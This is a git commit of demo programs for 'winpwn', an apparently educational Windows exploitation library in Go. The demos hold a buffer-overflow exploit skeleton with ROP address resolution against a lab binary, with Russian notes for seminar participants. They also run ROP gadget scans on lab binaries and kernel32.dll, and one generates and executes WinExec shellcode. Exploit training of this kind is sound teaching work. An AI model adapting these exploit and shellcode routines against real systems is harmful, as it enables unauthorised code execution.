v0.1 - initial commit
This commit is contained in:
Binary file not shown.
@@ -0,0 +1,85 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
pe, err := winpwn.OpenPE("./bof_win.c.exe")
|
||||
|
||||
if err == nil {
|
||||
defer pe.Close()
|
||||
}
|
||||
|
||||
msvcrt, err := winpwn.OpenPE("C:\\Windows\\System32\\msvcrt.dll")
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to open DLL: %v", err)
|
||||
}
|
||||
defer msvcrt.Close()
|
||||
|
||||
// 2. Ищем функцию system (аналог libc.symbols['system'])
|
||||
systemRVA, err := msvcrt.GetProcAddress("system")
|
||||
if err != nil {
|
||||
log.Fatalf("system() not found")
|
||||
}
|
||||
log.Printf("[+] system() RVA: 0x%X", systemRVA)
|
||||
|
||||
// 3. Ищем строку "cmd.exe\x00" (аналог next(libc.search(b'cmd.exe\x00')))
|
||||
cmdPattern := []byte("cmd.exe\x00")
|
||||
cmdRVAs, err := msvcrt.SearchBytes(cmdPattern)
|
||||
if err != nil {
|
||||
log.Fatalf("String 'cmd.exe' not found")
|
||||
}
|
||||
log.Printf("[+] 'cmd.exe' RVA: 0x%X", cmdRVAs[0])
|
||||
|
||||
// ... Логика утечки (leak) базового адреса msvcrt.dll во время исполнения ...
|
||||
var msvcrtBase uint64 = 0x7FF00000000 // Пример полученного адреса
|
||||
|
||||
// 4. Вычисляем абсолютные адреса для ROP-цепочки
|
||||
systemAddr := msvcrtBase + systemRVA
|
||||
cmdStringAddr := msvcrtBase + cmdRVAs[0]
|
||||
|
||||
log.Printf("[+] system() absolute address: 0x%X", systemAddr)
|
||||
log.Printf("[+] 'cmd.exe' absolute address: 0x%X", cmdStringAddr)
|
||||
|
||||
//------------------------------------
|
||||
rop, err := winpwn.NewROP("bof_win.c.exe") // native scanner, no rp++ needed
|
||||
if err != nil {
|
||||
log.Fatalf("rop init error : %v", err)
|
||||
}
|
||||
defer rop.Close()
|
||||
|
||||
popRcx, err := rop.Search("pop rcx ; ret")
|
||||
if err != nil {
|
||||
log.Fatalf("Gadget not found")
|
||||
}
|
||||
|
||||
// Выводим первый найденный гаджет
|
||||
fmt.Printf("[+] Found 'pop rcx; ret' at: 0x%X\n", popRcx[0].Address)
|
||||
|
||||
// Интеграция в пейлоад
|
||||
// payload = append(payload, winpwn.P64(popRcx[0].Address)...)
|
||||
|
||||
payload := bytes.Repeat([]byte("a"), 128)
|
||||
|
||||
p, err := winpwn.Spawn("bof_win.c.exe")
|
||||
if err != nil {
|
||||
log.Fatalf("Spawn: %v", err)
|
||||
}
|
||||
|
||||
if err := p.SendLineAfter([]byte("enter your data: \n"), payload); err != nil {
|
||||
log.Fatalf("SendLineAfter: %v", err)
|
||||
}
|
||||
|
||||
p.Interactive()
|
||||
}
|
||||
|
||||
/*На что обратить внимание твоим участникам:
|
||||
|
||||
Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.
|
||||
|
||||
Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */
|
||||
Binary file not shown.
@@ -0,0 +1,115 @@
|
||||
// pe_multitool tours the static-analysis side of winpwn: checksec, section
|
||||
// entropy, IAT/EAT navigation with forwarder resolution, and the native ROP
|
||||
// gadget scanner. Run from: workspace/demos/pe_multitool -> go run .
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"winpwn"
|
||||
)
|
||||
const target = "../../../../Users/lee/Desktop/win_sems/Seminar/2019_Winter_WinPwn/200108/Lab2/simple_rop.exe"
|
||||
//const target = "../../../../Windows/System32/kernel32.dll"
|
||||
|
||||
func main() {
|
||||
pe, err := winpwn.OpenPE(target)
|
||||
if err != nil {
|
||||
log.Fatalf("OpenPE: %v", err)
|
||||
}
|
||||
defer pe.Close()
|
||||
|
||||
is64, _ := pe.Is64Bit()
|
||||
base, _ := pe.ImageBase()
|
||||
entry, _ := pe.EntryPoint()
|
||||
fmt.Printf("=== %s ===\n", target)
|
||||
fmt.Printf("64-bit: %v ImageBase: 0x%X EntryPoint: 0x%X\n\n", is64, base, entry)
|
||||
|
||||
// --- checksec ---
|
||||
cs, err := pe.Checksec()
|
||||
if err != nil {
|
||||
log.Fatalf("Checksec: %v", err)
|
||||
}
|
||||
fmt.Println("--- checksec ---")
|
||||
fmt.Printf("ASLR (DYNAMIC_BASE): %v\n", cs.ASLR)
|
||||
fmt.Printf("High-Entropy VA: %v\n", cs.HighEntropyVA)
|
||||
fmt.Printf("DEP (NX_COMPAT): %v\n", cs.DEP)
|
||||
fmt.Printf("CFG: %v\n", cs.CFG)
|
||||
if cs.SEHApplicable {
|
||||
fmt.Printf("SafeSEH: %v\n", cs.SafeSEH)
|
||||
} else {
|
||||
fmt.Println("SafeSEH: n/a (x64 uses table-based SEH)")
|
||||
}
|
||||
fmt.Printf("GS cookie (heuristic): %v\n", cs.GSHeuristic)
|
||||
fmt.Printf("Authenticode present: %v\n", cs.AuthenticodeSigned)
|
||||
fmt.Println()
|
||||
|
||||
// --- section entropy / packing ---
|
||||
fmt.Println("--- sections ---")
|
||||
for _, sec := range pe.Sections() {
|
||||
entropy, _ := sec.Entropy()
|
||||
fmt.Printf("%-10s R=%v W=%v X=%v entropy=%.2f\n",
|
||||
sec.Name, sec.IsReadable(), sec.IsWritable(), sec.IsExecutable(), entropy)
|
||||
}
|
||||
fmt.Println()
|
||||
|
||||
// --- IAT: what does this binary already pull in? ---
|
||||
fmt.Println("--- interesting imports ---")
|
||||
for _, name := range []string{"VirtualProtect", "VirtualAlloc", "LoadLibraryA", "GetProcAddress", "CreateFileA"} {
|
||||
imp, err := pe.FindImport(name)
|
||||
if err != nil {
|
||||
fmt.Printf("%-16s not imported\n", name)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("%-16s %s!%s IAT RVA=0x%X\n", name, imp.DLL, imp.Name, imp.IATRVA)
|
||||
}
|
||||
fmt.Println()
|
||||
|
||||
// --- EAT: does this binary export anything (e.g. a win() for ROP)? ---
|
||||
exports, err := pe.ListExports()
|
||||
if err == nil {
|
||||
fmt.Printf("--- exports (%d) ---\n", len(exports))
|
||||
for _, e := range exports {
|
||||
if e.ForwardTarget != "" {
|
||||
dll, fn := winpwn.ParseForwardTarget(e.ForwardTarget)
|
||||
fmt.Printf("%s -> forwards to %s!%s\n", e.Name, dll, fn)
|
||||
} else {
|
||||
fmt.Printf("%s RVA=0x%X\n", e.Name, e.RVA)
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
}
|
||||
|
||||
// --- native ROP gadget scan, no rp++/Ropper required ---
|
||||
rop, err := winpwn.NewROP(target)
|
||||
if err != nil {
|
||||
log.Fatalf("NewROP: %v", err)
|
||||
}
|
||||
defer rop.Close()
|
||||
|
||||
fmt.Println("--- gadgets ---")
|
||||
if g, err := rop.Search("pop ecx ; ret"); err == nil {
|
||||
fmt.Printf("pop ecx ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
||||
fmt.Printf(" verified: %v\n", lines)
|
||||
}
|
||||
}
|
||||
|
||||
if g, err := rop.Search("pop eax ; ret"); err == nil {
|
||||
fmt.Printf("pop eax ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
||||
fmt.Printf(" verified: %v\n", lines)
|
||||
}
|
||||
}
|
||||
|
||||
if g, err := rop.Search("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret"); err == nil {
|
||||
fmt.Printf("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
||||
fmt.Printf(" verified: %v\n", lines)
|
||||
}
|
||||
}
|
||||
|
||||
if g, err := rop.SearchRegex(`^pop r\w+ ; pop r\w+ ; ret$`); err == nil {
|
||||
fmt.Printf("pop r.. ; pop r.. ; ret: %d candidates, first at 0x%X\n", len(g), g[0].Address)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
// pe_multitool tours the static-analysis side of winpwn: checksec, section
|
||||
// entropy, IAT/EAT navigation with forwarder resolution, and the native ROP
|
||||
// gadget scanner. Run from: workspace/demos/pe_multitool -> go run .
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"winpwn"
|
||||
)
|
||||
//const target = "../../../../Users/lee/Desktop/win_sems/Seminar/2019_Winter_WinPwn/200108/Lab1/simple_rop.exe"
|
||||
const target = "../../../../Windows/SysWOW64/kernel32.dll"
|
||||
|
||||
func main() {
|
||||
pe, err := winpwn.OpenPE(target)
|
||||
if err != nil {
|
||||
log.Fatalf("OpenPE: %v", err)
|
||||
}
|
||||
defer pe.Close()
|
||||
|
||||
// --- native ROP gadget scan, no rp++/Ropper required ---
|
||||
rop, err := winpwn.NewROP(target)
|
||||
if err != nil {
|
||||
log.Fatalf("NewROP: %v", err)
|
||||
}
|
||||
defer rop.Close()
|
||||
|
||||
fmt.Println("--- gadgets ---")
|
||||
if g, err := rop.Search("pop ecx ; ret"); err == nil {
|
||||
fmt.Printf("pop ecx ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
||||
fmt.Printf(" verified: %v\n", lines)
|
||||
}
|
||||
}
|
||||
|
||||
if g, err := rop.Search("pop eax ; ret"); err == nil {
|
||||
fmt.Printf("pop eax ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
||||
fmt.Printf(" verified: %v\n", lines)
|
||||
}
|
||||
}
|
||||
|
||||
if g, err := rop.Search("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret"); err == nil {
|
||||
fmt.Printf("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
||||
fmt.Printf(" verified: %v\n", lines)
|
||||
}
|
||||
}
|
||||
|
||||
if g, err := rop.SearchRegex(`^pop r\w+ ; pop r\w+ ; ret$`); err == nil {
|
||||
fmt.Printf("pop r.. ; pop r.. ; ret: %d candidates, first at 0x%X\n", len(g), g[0].Address)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
// shellcraft_winexec demonstrates winpwn's first shellcraft template:
|
||||
// position-independent x64 shellcode that resolves kernel32 via the PEB
|
||||
// (no leak/hardcoded base needed) and calls WinExec. Useful as the payload
|
||||
// at the end of a ROP chain, or to drop directly into a hijacked function
|
||||
// pointer / vtable entry.
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
func main() {
|
||||
code, err := winpwn.ShellcodeWinExec("putty.exe")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("%d bytes of shellcode, ready to splice into a payload:\n%x\n", len(code), code)
|
||||
|
||||
// Validating it actually runs (rather than just trusting the bytes)
|
||||
// before landing it via a real exploit primitive:
|
||||
if err := winpwn.ExecuteShellcode(code); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user